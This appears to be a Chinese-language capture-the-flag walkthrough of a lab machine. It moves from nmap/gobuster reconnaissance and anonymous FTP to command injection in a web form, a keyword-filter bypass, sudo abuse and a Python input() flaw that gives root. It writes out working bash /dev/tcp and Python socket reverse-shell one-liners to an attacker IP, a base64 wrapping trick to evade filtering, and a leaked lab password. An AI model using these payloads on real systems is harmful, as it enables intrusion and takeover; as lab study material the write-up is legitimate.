靶机难度:中等
flag 数:2
工具及漏洞信息#
- netdiscover
- nmap
- gobuster
- ftp 匿名登录下载文件
- echo 的 bash 和 python 反弹 shell
- nc 连接指定 ip 做题脚本
- sudo -l 查看当前用户权限
- .pyc 文件反编译
- input () 函数漏洞
- nc 传输文件
0x01 信息收集#
扫描靶机#
netdiscover
的-r
参数扫描192.168.1.0/16
或者路由器管理界面查看有线连接的设备得到靶机ip
nmap
扫描主机及端口信息:
nmap -sS -A -n -T4 -p- 192.168.1.7
21
的ftp
服务貌似可以匿名登录,因为nmap
直接给出了ftp
连接上后的文件内容
那我们ftp
连接一下,查看一下这三个文件的内容:
使用ftp ip
命令连接ftp
服务器,用户名为匿名:anonymous
,密码直接回车即可登录
使用mget *.*
下载所有文件,会确认你是否要下载,直接回车就可以,也可以直接在ftp
交互端cat
查看:
得到的信息似乎是一个账号和密码,还有提示我们我们1337
是一个游戏
ssh
的端口状态为filtered
就不折腾了
除此之外还有1337
和7331
两个端口
1337
端口的指纹信息写着:
Let's see how good you are with simple maths
Answer my questions 1000 times and I'll give you your gift
猜测是CTF
中常见的nc
连接然后反弹数学题的操作,和我们上面得到的信息差不多
后面有时间的话会放一个脚本
7331
扫描出的信息中包含http-server-header
和http-title
字段,猜测http
服务开在这个端口
打开看一下,果然是:
扫描漏洞信息#
nmap
扫描漏洞信息:
cd /usr/share/nmap/scripts/
git clone https://github.com/vulnersCom/nmap-vulners
nmap --script nmap-vulners -sV 192.168.1.7
没有啥可以利用的
扫描路径#
刚才扫描我们已经知道了web
服务不在默认的80
端口而是7331
,所以扫描的时候也要记得改
gobuster 扫描路径:
gobuster dir -u http://192.168.1.7:7331/ -s 200,301,302 -t 50 -q -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.txt,.html,.zip
dirbuster
的字典可以通过下载dirbuster
原包,然后把字典移入这个目录:
wget https://nchc.dl.sourceforge.net/project/dirbuster/DirBuster%20%28jar%20%2B%20lists%29/1.0-RC1/DirBuster-1.0-RC1.tar.bz2
tar -jxf DirBuster-1.0-RC1.tar.bz2
cd DirBuster-1.0-RC1/ && mkdir /usr/share/wordlists/dirbuster/ && mv *.txt /usr/share/wordlists/dirbuster/
扫描出两个目录/wish
和/genie
,访问ip:7331/wish
如下:
随便输入东西之后发现跳转到ip:7331/genie?name=
后面接上执行的命令,猜测此处存在系统命令注入
0x02 网站身份 getshell#
既然能执行系统命令,那就直接nc
反弹一个shell
吧
在msf
中快速开启监听:handler -H 192.168.1.11 -P 3333 -p cmd/unix/reverse_bash
在ip:7331/wish
中输入nc -t -e /bin/bash 192.168.1.11 3333
结果跳转到genie?name=Wrong+choice+of+words
,说明屏蔽了关键词
配合burpsuite
来探测屏蔽的关键词
- 测试 ls 得到网站根目录的文件和目录如下 (%0A 是回车的 URL 编码)
- app.py
- app.pyc
- static/
- templates/
ls -lah
也能正常运行,说明没有屏蔽空格
whoami
能正常的到结果www-data
uname -a
知道了这是台Ubuntu
:
echo whoami
可以执行,于是尝试使用
bash -i >& /dev/tcp/192.168.1.11/3333 0>&1
- bash -i 表示产生一个 bash 的交互环境
- 0>&1 将标准输入域标准输出内容相结合,然后重定向给前面的标准输出内容
或者用python
来反弹shell
也可以:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.11",3333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
将上面的命令用base64
加密然后在burp
出输入以下命令:
echo 加密的内容 | base64 -d | bash
注意,此处由于网页上执行和burp
执行有编码的差异,建议如果在burp
上执行的话再把空格和加号用URL
编码一下
测试后发现python
能反弹shell
0x03 普通用户 getshell#
拿到执行网站的用户的shell
之后第一步当然是查看当前目录文件:
和我们前面用burp
拦截得到的结果一样,查看了/etc/passwd
得到两个用户sam
和nitish
但是他们用户目录下的文件没有查看权限
于是回到网站根目录来,查看一下app.py
文件的内容:
大致内容是刚才拦截我们的函数代码,除此之外还得到一个信息:
/home/nitish/.dev/creds.txt
查看这个文件:
得到了nitish
账户的密码p4ssw0rdStr3r0n9
,登录用户之前记得要开启标准的tty
:
python -c 'import pty; pty.spawn("/bin/bash")'
在nitish
用户目录下获取到第一个flag
0x04 提权 root#
查看一下当前用户能执行哪些sudo
的命令:
当前的nithsh账户
可以在不使用密码的情况下执行sam
用户的genie
脚本
看一下genie
的用法:
有个-p
参数写能给我们提供shell
,尝试一下:
sudo -u sam genie -p "/bin/sh"
-e
和-p
参数都没用,再用strings
命令查看/usr/bin/genie
的内容
最终知道了还有个参数-cmd
,执行命令获得sam
的shell
:
sudo -u sam /usr/bin/genie -cmd id
当前账户成功切换为sam
,那么再来看下sam
能以sudo
执行什么命令:
sam
可以执行lago
脚本,来执行一下看一下:
第一个Be naughty
:
没啥乱用,第二个Guess the number
:
百分之一的概率,似乎比1337
端口好弄一点,而且python
的input()
的话是有漏洞的
第三个Read some damn files
可以读文件,但是需要知道路径,第四个Work
:
也没啥卵用,再试一下猜数字,不输入数字,输入其他的:
发现竟然在输入num
之后能查看/root
目录了,执行/root/proof.sh
获得root
的flag
0x05 获取shell
原因解密#
我们这纯属瞎猫碰死耗子,其实应该是找到python
文件的编译文件pyc
pyc
是一种二进制文件,是由 Python 文件经过编译后所生成的文件
然后反编译出原来的.py
文件,然后再找input
漏洞的,常见的例子如下:
也就是没有对输入的字符进行检测,直接按字符串处理,等于设定好的字符串即输出结果
所以我们输入num
恰好成功说明Guess the number
的函数代码差不多是这么写的:
def guess_the_number():
input_number = input("Choose a number between 1 to 100:\nEnter your number:")
if num == input_number:
return True
我这里尝试反编译一下看是不是,查看sam
的用户目录:
找到一个.pyc
文件,尝试把它反编译成.py
文件
先把它传输到攻击机,这里使用nc
靶机开启监听端口并传输文件:nc -lvp 3456 < .pyc
目标机连接靶机并接收文件:nc 192.168.1.6 3456 > .pyc
等待几秒之后直接在靶机端ctrl+c
结束即可
随后我们用uncompyle6
反编译.pyc
,它是uncompyle2
的继承者
uncompyle2
只专注于python2.7
,虽然有时候准确率比uncompyle6
高
但是大部分情况下还是uncompyle6
准确率高,而且它已经几乎不再维护了
uncompyle6
支持几乎你能见到的所有python
版本,安装如下:
proxychains git clone https://github.com/rocky/python-uncompyle6
cd python-uncompyle6/
pip install -e .
python setup.py install
就安装完成了,反编译我们的.pyc
:
uncompyle6 .pyc -o exp.py
果然和我前面猜测的差不多
参考文章:
本文完。